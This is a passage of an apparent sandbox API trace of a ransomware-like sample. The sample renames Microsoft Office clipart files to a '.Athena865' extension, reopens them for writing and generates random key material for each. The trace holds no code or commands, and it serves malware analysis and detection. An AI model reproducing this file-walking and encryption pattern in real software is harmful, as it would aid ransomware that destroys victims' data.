hTemplateFile=0x0) returned 0x17c [0132.316] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3364) returned 1 [0132.316] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.317] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.317] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.323] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.323] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.323] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02404_.WMF" | out: lpString1="NA02404_.WMF") returned="NA02404_.WMF" [0132.323] lstrlenW (lpString="NA02404_.WMF") returned 12 [0132.323] lstrlenW (lpString="Athena865") returned 9 [0132.323] lstrcmpiW (lpString1="2404_.WMF", lpString2="Athena865") returned -1 [0132.323] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.Athena865") returned 73 [0132.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.325] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8480) returned 1 [0132.325] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.326] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.326] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.330] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.331] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.331] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.332] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02405_.WMF" | out: lpString1="NA02405_.WMF") returned="NA02405_.WMF" [0132.332] lstrlenW (lpString="NA02405_.WMF") returned 12 [0132.332] lstrlenW (lpString="Athena865") returned 9 [0132.332] lstrcmpiW (lpString1="2405_.WMF", lpString2="Athena865") returned -1 [0132.332] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.Athena865") returned 73 [0132.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.333] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20608) returned 1 [0132.333] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.334] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.334] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.336] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.337] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.337] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.338] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02407_.WMF" | out: lpString1="NA02407_.WMF") returned="NA02407_.WMF" [0132.338] lstrlenW (lpString="NA02407_.WMF") returned 12 [0132.338] lstrlenW (lpString="Athena865") returned 9 [0132.338] lstrcmpiW (lpString1="2407_.WMF", lpString2="Athena865") returned -1 [0132.338] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.Athena865") returned 73 [0132.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.340] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8136) returned 1 [0132.340] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.341] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.341] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.346] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.348] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.348] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.348] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02413_.WMF" | out: lpString1="NA02413_.WMF") returned="NA02413_.WMF" [0132.348] lstrlenW (lpString="NA02413_.WMF") returned 12 [0132.348] lstrlenW (lpString="Athena865") returned 9 [0132.348] lstrcmpiW (lpString1="2413_.WMF", lpString2="Athena865") returned -1 [0132.348] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.Athena865") returned 73 [0132.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.350] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10476) returned 1 [0132.350] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.350] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.351] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.353] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.354] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.354] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.354] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02417_.WMF" | out: lpString1="NA02417_.WMF") returned="NA02417_.WMF" [0132.355] lstrlenW (lpString="NA02417_.WMF") returned 12 [0132.355] lstrlenW (lpString="Athena865") returned 9 [0132.355] lstrcmpiW (lpString1="2417_.WMF", lpString2="Athena865") returned -1 [0132.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.Athena865") returned 73 [0132.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.356] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2852) returned 1 [0132.356] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.357] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.357] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.360] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.361] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.361] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.362] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02423_.WMF" | out: lpString1="NA02423_.WMF") returned="NA02423_.WMF" [0132.362] lstrlenW (lpString="NA02423_.WMF") returned 12 [0132.362] lstrlenW (lpString="Athena865") returned 9 [0132.362] lstrcmpiW (lpString1="2423_.WMF", lpString2="Athena865") returned -1 [0132.362] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.Athena865") returned 73 [0132.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.363] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12216) returned 1 [0132.363] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.364] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.364] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.367] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.367] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.367] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.368] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02424_.WMF" | out: lpString1="NA02424_.WMF") returned="NA02424_.WMF" [0132.368] lstrlenW (lpString="NA02424_.WMF") returned 12 [0132.368] lstrlenW (lpString="Athena865") returned 9 [0132.368] lstrcmpiW (lpString1="2424_.WMF", lpString2="Athena865") returned -1 [0132.368] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.Athena865") returned 73 [0132.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.370] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1340) returned 1 [0132.370] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.371] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.371] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.375] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.376] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.376] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.377] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02426_.WMF" | out: lpString1="NA02426_.WMF") returned="NA02426_.WMF" [0132.377] lstrlenW (lpString="NA02426_.WMF") returned 12 [0132.377] lstrlenW (lpString="Athena865") returned 9 [0132.377] lstrcmpiW (lpString1="2426_.WMF", lpString2="Athena865") returned -1 [0132.377] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.Athena865") returned 73 [0132.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.378] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6472) returned 1 [0132.378] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.379] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.379] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.382] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.383] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.383] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.383] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02431_.WMF" | out: lpString1="NA02431_.WMF") returned="NA02431_.WMF" [0132.383] lstrlenW (lpString="NA02431_.WMF") returned 12 [0132.383] lstrlenW (lpString="Athena865") returned 9 [0132.383] lstrcmpiW (lpString1="2431_.WMF", lpString2="Athena865") returned -1 [0132.383] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.Athena865") returned 73 [0132.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.385] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7212) returned 1 [0132.385] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.385] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.386] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.389] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.390] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.390] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.390] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02435_.WMF" | out: lpString1="NA02435_.WMF") returned="NA02435_.WMF" [0132.390] lstrlenW (lpString="NA02435_.WMF") returned 12 [0132.390] lstrlenW (lpString="Athena865") returned 9 [0132.390] lstrcmpiW (lpString1="2435_.WMF", lpString2="Athena865") returned -1 [0132.390] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.Athena865") returned 73 [0132.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.410] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4088) returned 1 [0132.410] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.411] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.411] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.413] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.414] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.414] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.414] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02439_.WMF" | out: lpString1="NA02439_.WMF") returned="NA02439_.WMF" [0132.414] lstrlenW (lpString="NA02439_.WMF") returned 12 [0132.414] lstrlenW (lpString="Athena865") returned 9 [0132.414] lstrcmpiW (lpString1="2439_.WMF", lpString2="Athena865") returned -1 [0132.414] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.Athena865") returned 73 [0132.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.416] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5172) returned 1 [0132.416] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.417] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.417] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.420] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.421] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.421] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.422] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02441_.WMF" | out: lpString1="NA02441_.WMF") returned="NA02441_.WMF" [0132.422] lstrlenW (lpString="NA02441_.WMF") returned 12 [0132.422] lstrlenW (lpString="Athena865") returned 9 [0132.422] lstrcmpiW (lpString1="2441_.WMF", lpString2="Athena865") returned -1 [0132.422] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.Athena865") returned 73 [0132.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.423] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12824) returned 1 [0132.423] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.424] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.424] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.427] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.428] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: 